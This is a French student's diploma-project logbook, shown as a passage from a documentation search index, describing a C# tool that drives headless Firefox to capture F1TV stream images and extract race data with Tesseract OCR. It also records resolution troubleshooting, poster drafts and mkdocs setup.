utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options.AddArgument(\"--width=1920\"); options.AddArgument(\"--height=1200\"); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca. Mardi 2 Mai 2023 Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling. Recrutement Payerne Mai 2023 J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec. Vendredi 5 Mai 2023 Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR. Lundi 8 Mai 2023 Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir. Mardi 9 Mai 2023 Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\"","title":"Journal de bord"},{"location":"jdb.html#journal-de-bord","text":"","title":"Journal de bord"},{"location":"jdb.html#mercredi-29-mars-2023","text":"Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder.","title":"Mercredi 29 Mars 2023"},{"location":"jdb.html#jeudi-30-mars-2023","text":"Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon.","title":"Jeudi 30 Mars 2023"},{"location":"jdb.html#vendredi-31032023","text":"Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,\"eng\", EngineMode.Default); var tessImage = Pix.LoadFromMemory(ImageToByte(sample)); Page page = engine.Process(tessImage); string text = page.GetText(); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte[] ImageToByte(Image img) { using (var stream = new MemoryStream()) { img.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine.Process(tessImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Declare a Rect variable to hold the bounding box Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height)); } // Get the text for the current element var text = iter.GetText(PageIteratorLevel.Word); tbxResult.Text += text.ToUpper() + Environment.NewLine; } while (iter.Next(PageIteratorLevel.Word)); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp) { const int BLACK_TO_WHITE_TRESHOLD = 200; Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height); for (int y = 0; y < inputBmp.Height; y++) { for (int x = 0; x < inputBmp.Width; x++) { Color pixelColor = inputBmp.GetPixel(x,y); if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD) { pixelColor = Color.FromArgb(0,0,0); } else { pixelColor = Color.FromArgb(255,255,255); } result.SetPixel(x,y,pixelColor); } } return result; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus.","title":"Vendredi 31/03/2023"},{"location":"jdb.html#lundi-3-avril","text":"Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage; private List Zones; private List Windows; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Zone(Image fullImage, Rectangle bounds) { FullImage = (Bitmap)fullImage; Init(bounds); } public Zone(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Init(bounds); } private void Init(Rectangle bounds) { Bounds = bounds; Zones = new List(); Windows = new List(); } public void AddZone(Rectangle bounds) { if(Fits(bounds)) 